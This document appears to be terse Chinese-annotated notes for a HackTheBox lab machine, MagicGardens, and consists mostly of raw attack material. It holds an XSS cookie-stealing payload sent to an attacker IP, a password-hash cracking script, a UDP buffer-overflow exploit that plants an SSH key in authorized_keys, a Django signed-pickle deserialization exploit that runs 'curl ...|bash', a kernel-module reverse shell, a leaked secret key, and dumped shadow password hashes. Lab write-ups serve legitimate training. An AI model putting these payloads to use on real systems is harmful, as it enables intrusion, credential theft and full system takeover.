HTB-MagicGardens笔记

nmap -p 1-65535 -T4 -A -v 10.10.11.9

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://magicgardens.htb/FUZZ" --hc 404,200

curl http://honestbank.htb/api/payments/curl http://honestbank.htb/api/payments/ -X POSTcurl http://honestbank.htb/api/payments/ -X POST -d '{"cardname" :"Kun", "cardnumber" :"1111-2222-3333-4444"}'

from flask import Flask, jsonify# 创建Flask应用app = Flask(__name__)# 预定义的任务数据，这里用于模拟支付信息的返回tasks = {    "status": "200",         # HTTP状态码    "message": "OK",         # 返回消息    "cardname": "Kun",      # 演示用卡名    "cardnumber": "1111-2222-3333-4444"  # 演示用卡号}# 定义路由和方法，这里仅允许POST请求@app.route('/api/payments/', methods=['POST'])def get_tasks():    # 将预定义的支付信息以JSON格式返回    return jsonify(tasks)# 程序入口，指定主机和端口if __name__ == '__main__':    app.run(host='0.0.0.0', port=80)

e12f2e6348266d7dc259b4c19af0ad7e.0d341bcdc6746f1d452b3f4de32357b9

e12f2e6348266d7dc259b4c19af0ad7e.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://10.10.14.49/?cookie="+btoa(document.cookie);</script><p>

Y3NyZnRva2VuPTd4MUxrU0NPRjJDUFJnRDZpemJhaVN3MnZUM0dVRW1JOyBzZXNzaW9uaWQ9LmVKeE5qVTFxd3pBUWhaTkZRZ01waFp5aTNRaExsdU5vVjdydnFnY3draXhGYmhNSjlFUHBvdEFEekhKNjN6cHVBcDdkOTc3SG01X1Y3MjY1bU80YkgtR3VKQk85UEJ1RTFUbkVfSVd3VGxubWtzYmdMVXRyRVRhZlEzTGRhVWdaWVlHd25WQ0g0ck9KNk5hdzBUTG1mel9TZHFLWnZ1OWt5YTY3UE9xR0htSEpFSGF6VEVuOVlmd29udnAzNlktQjZPQnpIQlM1Vk1qVkp2SWFlbk42dVhVZlpnTk9Kb2Z3VEJ0dG1XMEZyVTNWY0diTWdXbFJLY1dwdElJeTJSeXFmYTF0MC1vOVZZcXB5ckNhRzA2MWFtdXVoY0JDX2dEZXMyWDc6MXM5UFBWOmVmenZpSkRpbENrbUVDbVVjcGVKTmphMEMwWUQ2ZFdHZndFc1pxazdEWEU=

pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=

from passlib.hash import django_pbkdf2_sha256# 哈希值，应替换为具体的哈希字符串hash = 'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I='# 从哈希字符串中提取轮数和盐值parts = hash.split('$')rounds = int(parts[1])salt = parts[2]# 读取密码文件，并尝试找到匹配的密码with open("../rockyou.txt", "r", errors="ignore") as f:    for key in f:        # 清除密码两端的空白符        secret = key.strip()        # 显示当前正在测试的密码，但不换行        print(secret, end='r')        # 生成当前密码的哈希值，并与给定哈希比较        if django_pbkdf2_sha256.hash(secret, rounds=rounds, salt=salt) == hash:            print("password: " + secret)            break  # 找到匹配密码后退出循环

void handle_raw_packets(int param_1,char *param_2,char *param_3){  ssize_t sVar1;  char *pcVar2;  char acStack_1007a [8];  undefined uStack_10072;  time_t tStack_10070;  char acStack_10068 [32];  char acStack_10048 [32];  byte bStack_10028;  byte bStack_10027;  byte bStack_10026;  byte bStack_10025;  byte bStack_10024;  byte bStack_10023;  byte bStack_10022;  byte bStack_10021;  byte bStack_10020;  byte bStack_1001f;  byte bStack_1001e;  byte bStack_1001d;  char acStack_1001a [65554];  memset(&bStack_10028,0,0xffff);  sVar1 = recvfrom(param_1,&bStack_10028,0xffff,0,(sockaddr *)0x0,(socklen_t *)0x0);  tStack_10070 = time((time_t *)0x0);  pcVar2 = ctime(&tStack_10070);  strncpy(acStack_1007a,pcVar2 + 0xb,8);  uStack_10072 = 0;  if ((uint)sVar1 < 0x28) {    puts("Incomplete packet ");    close(param_1);                    /* WARNING: Subroutine does not return */    exit(0);  }  sprintf(acStack_10048,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(uint)bStack_10022,(uint)bStack_10021,          (uint)bStack_10020,(uint)bStack_1001f,(uint)bStack_1001e,(uint)bStack_1001d);  sprintf(acStack_10068,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",(uint)bStack_10028,(uint)bStack_10027,          (uint)bStack_10026,(uint)bStack_10025,(uint)bStack_10024,(uint)bStack_10023);  if (acStack_1001a[0] == 'E') {    print_packet((long)acStack_1001a,param_3,param_2,acStack_10048,acStack_10068,acStack_1007a,                 (long)&bStack_10028);  }  if (acStack_1001a[0] == '`') {    log_packet((long)acStack_1001a,param_3);  }  return;

本地调试strace ./harvest server -l log_packet.log./harvest client 127.0.0.1

import socket# 定义服务器地址和端口HOST = '::1'  # IPv6环回地址（localhost）PORT = 8000   # 目标端口# 创建一个IPv6 UDP套接字server_address = (HOST, PORT)s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)try:    # 连接到服务器    s.connect(server_address)    # 发送一个65000字节的数据包    s.send(b'A' * 65000)    print("数据包发送成功")except Exception as e:    print(f"发送数据包时出错: {e}")finally:    # 关闭套接字    s.close()

import socket# 定义服务器地址和端口HOST = '::1'  # IPv6环回地址（本地主机）PORT = 8000   # 目标端口# 创建一个IPv6 UDP套接字server_address = (HOST, PORT)s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)try:    # 连接到服务器    s.connect(server_address)    # 发送一个65372字节的'A'字符数据包，后面跟随'dryu8'    s.send(b'A' * 65372 + b'ikun')    print("数据包发送成功")except Exception as e:    print(f"发送数据包时出错: {e}")finally:    # 关闭套接字    s.close()

./harvest client 10.10.11.9

import socket# 定义服务器地址和端口HOST = '::1'  # IPv6环回地址（本地主机）PORT = 8000   # 目标端口# 要发送的文件路径file = b'/home/alex/.ssh/authorized_keys'# NOP指令，用于填充数据包nop = b'r'# 要发送的SSH密钥key_id_rsa = b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmYn0ajLuNYao6YYuhq+bYkDb5a3RK94iN46iXlwDOYFbmfteDJgyc++LtIiAQNM4wF6J9fa0ww2FTTRTtqm7MBpfm7MLpXcHK7ospvmrDo1PlNXbziLKkMDM6jP2ORl4QH4rnHkQsIkFp0kORvyQWGkM820jHBo6Uhi6zuGC+1MLS4uIUJCLa392pJ0LVUAXnCJwRW9X2byeHCL5gRtUhi345cHduqtlVZcE1r14oeXQSnjrQIwNcZahFCPe0CfMxR71j3gY8wc9J9vIIwdykpzaAgy5O8UIUP622tGtyT5yUmcECKpvI8qU/xNMjHjWCLwgu7Nb3JMZ/ZcUyctRjYQNhAMdpk9SzTrHjvFGznkkGiaxcrrSz8i8n68Xk0F3pmoI+2dLX8bh6ZjrvUdWo57zJaA1H5XYtr8Wt8DR7ntX/l04Q0myivsvxfKnbvWrCSK52asX87nxp0960e59pjCecsRGduMOuxgz5ROcom2d8KU+52m2rlhZgL92zEXqAp6zYBFwkepq6b+89ndjoh3znR7sw/XUwYTvwsetJk0PegC9fUsCgvW38k6A65QJTZKV2+POTHwUDvmbQJLkvpgbMzW8XG/Le/OBuPDepVjJV+Smy9TON9xqwX4da1G3q9VxP3lfZlSkSmhHidqO9OIe7wvBHOJYgTv5OVtEicw== root@penetration'# 设定数据包的总大小packet_size = 65370# 创建一个IPv6 UDP套接字server_address = (HOST, PORT)s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)try:    # 连接到服务器    s.connect(server_address)    # 计算填充的NOP数量，确保总长度为packet_size    nop_padding = nop * (packet_size - len(key_id_rsa))    # 构造数据包内容，确保每部分正确拼接    packet = nop_padding + b'n' + key_id_rsa + b'n' + file    # 发送数据包    s.send(packet)    print("数据包发送成功")except Exception as e:    print(f"发送数据包时出错: {e}")finally:    # 关闭套接字    s.close()

import base64# Base64 编码的 ZIP 文件内容encoded_zip = """UEsDBAoACQAAANJKPVd7vIicUQAAAEUAAAAIABwAaHRwYXNzd2RVVAkAA5zPFmXfzxZldXgLAAEEAAAAAAQAAAAALhn9bpKX/KXvjmlPfYCa9OEHMyQcFo1tQTmiDY2N8aVPEZmJLeCnCLo9hZ7Ouh0tEy1XVCasp5mosMUwvyYvFbnKe2TgDyi1bV2aZ2hn368DUEsHCHu8iJxRAAAARQAAAFBLAQIeAwoACQAAANJKPVd7vIicUQAAAEUAAAAIABgAAAAAAAEAAADogQAAAABodHBhc3N3ZFVUBQADnM8WZXV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAACjAAAAAAA="""# 解码 Base64 编码的数据decoded_bytes = base64.b64decode(encoded_zip)# 将解码后的二进制数据写入文件with open("auth.zip", "wb") as file:    file.write(decoded_bytes)print("ZIP 文件已成功创建。")

auth.zip/htpasswd:$pkzip$1*2*2*0*51*45*9c88bc7b*0*42*0*51*4ad2*2e19fd6e9297fca5ef8e694f7d809af4e10733241c168d6d4139a20d8d8df1a54f1199892de0a708ba3d859eceba1d2d132d575426aca799a8b0c530bf262f15b9ca7b64e00f28b56d5d9a676867dfaf03*$/pkzip$:htpasswd:auth.zip::auth.zip

alex:$2y$05$xZTYUkg.1Ohcrf31e3whieWMBhSinB/N0fznRJSqHr4KDQIuQ0txW

python drg.py https://magicgardens.htb -U 'alex' -P 'diamonds' --list

python drg.py https://magicgardens.htb -U 'alex' -P 'diamonds' --dump_all

SESSION_ENGINE  = 'django.contrib.sessions.backends.signed_cookies'SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'SESSION_COOKIE_HTTPONLY = False

55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b

import osimport subprocessimport picklefrom django.core import signingfrom django.contrib.sessions.serializers import PickleSerializer# 设置 Django 的环境变量os.environ.setdefault("DJANGO_SETTINGS_MODULE", "app.settings")class PickleSerializer(object):    """    自定义 Pickle 序列化器。    """    def dumps(self, obj):        """将对象序列化为二进制格式。"""        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)    def loads(self, data):        """从二进制格式解析并重构 Python 对象。"""        return pickle.loads(data)class Exploit(object):    """    定义一个利用类，用于创建可以执行恶意操作的对象。    """    def __reduce__(self):        """为 pickle 定义如何减少复杂对象的方法，并返回可以调用 subprocess.Popen 的元组。"""        return (subprocess.Popen, (            ("curl 10.10.14.8|bash"),  # 待填充的反向 shell 命令            0,  # 缓冲区大小            None,  # 执行环境            None,  # 标准输入            None,  # 标准输出            None,  # 标准错误            None,  # 预执行函数            False, # 是否关闭文件描述符            True,  # 是否在 shell 中执行        ))# 使用 Django 的 signing 工具，根据特定的密钥和 salt 来对 Exploit 实例进行序列化和签名。signed_data = signing.dumps(    Exploit(),    key='55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b',    salt='django.contrib.sessions.backends.signed_cookies',    serializer=PickleSerializer,    compress=True)print("序列化和签名后的数据:", signed_data)

getcap -r / 2>/dev/nulcapsh --print

#include <linux/kmod.h>#include <linux/module.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("AttackDefense");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/443 0>&1", NULL};static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };// call_usermodehelper function is used to create user mode processes from kernel spacestatic int __init reverse_shell_init(void) {    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}static void __exit reverse_shell_exit(void) {    printk(KERN_INFO "Exitingn");}module_init(reverse_shell_init);module_exit(reverse_shell_exit);

obj-m += reverse-shell.oall:        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean:        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

root:$y$j9T$Gctu2C9XwCFVr1qINWJjA/$u8IdKz0x2uCYAzOIx0qxNvBQEjY0uOaRwgA1sRC8Aj8:19592:0:99999:7:::daemon:*:19592:0:99999:7:::bin:*:19592:0:99999:7:::sys:*:19592:0:99999:7:::sync:*:19592:0:99999:7:::games:*:19592:0:99999:7:::man:*:19592:0:99999:7:::lp:*:19592:0:99999:7:::mail:*:19592:0:99999:7:::news:*:19592:0:99999:7:::uucp:*:19592:0:99999:7:::proxy:*:19592:0:99999:7:::www-data:*:19592:0:99999:7:::backup:*:19592:0:99999:7:::list:*:19592:0:99999:7:::irc:*:19592:0:99999:7:::_apt:*:19592:0:99999:7:::nobody:*:19592:0:99999:7:::systemd-network:!*:19592::::::messagebus:!:19592::::::avahi-autoipd:!:19592::::::sshd:!:19592::::::alex:$y$j9T$vRmhfv9eghNK4I7HfdkjW0$5fFIjvFlbw5ki/5cvoSkG/YizBXms47kw9tubbF/l42:19759:0:99999:7:::morty:$y$j9T$0lTi82bFeyrX9oyH/XMnE.$V8E6g5oxm5/LGomE.6NBAIwvieFOLqSgm3b7LnZlPT5:19781:0:99999:7:::postfix:!:19629::::::_laurel:!:19839::::::